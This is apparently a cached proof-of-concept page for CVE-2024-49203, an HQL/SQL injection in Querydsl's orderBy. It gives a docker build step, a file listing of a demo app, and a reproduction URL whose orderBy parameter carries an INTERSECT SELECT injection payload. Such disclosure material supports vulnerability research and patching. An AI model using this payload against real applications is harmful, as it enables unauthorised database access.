Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-49203 PoC — Querydsl 安全漏洞

Source
Associated Vulnerability
Title:Querydsl 安全漏洞 (CVE-2024-49203)
Description:Querydsl是Querydsl开源的一个框架,它支持为多个后端构建类型安全的类 SQL 查询。 Querydsl 5.1.0版本存在安全漏洞,该漏洞源于允许在JPAQuery中的orderBy中进行SQL或HQL注入。
Readme
Build
-----

```docker compose up -d```


Reproduce
---------
In browser go to 

```http://localhost:8000/products?orderBy=name+INTERSECT+SELECT+t+FROM+Test+t+WHERE+(SELECT+'2')='2'+ORDER+BY+t.id```
File Snapshot

[4.0K] /data/pocs/cf15583991bae21812ca3d6a6f0dda8d26de5d8f ├── [4.0K] demo │   ├── [ 429] Dockerfile │   ├── [ 10K] mvnw │   ├── [6.8K] mvnw.cmd │   ├── [2.2K] pom.xml │   └── [4.0K] src │   ├── [4.0K] main │   │   ├── [4.0K] java │   │   │   └── [4.0K] com │   │   │   └── [4.0K] example │   │   │   └── [4.0K] demo │   │   │   ├── [ 305] DemoApplication.java │   │   │   ├── [1.0K] QTest.java │   │   │   ├── [1.1K] TestController.java │   │   │   └── [ 651] Test.java │   │   └── [4.0K] resources │   │   └── [ 275] application.properties │   └── [4.0K] test │   └── [4.0K] java │   └── [4.0K] com │   └── [4.0K] example │   └── [4.0K] demo │   └── [ 206] DemoApplicationTests.java ├── [ 672] docker-compose.yml ├── [4.0K] postgres │   └── [ 111] init.sql └── [ 199] README.md 14 directories, 13 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.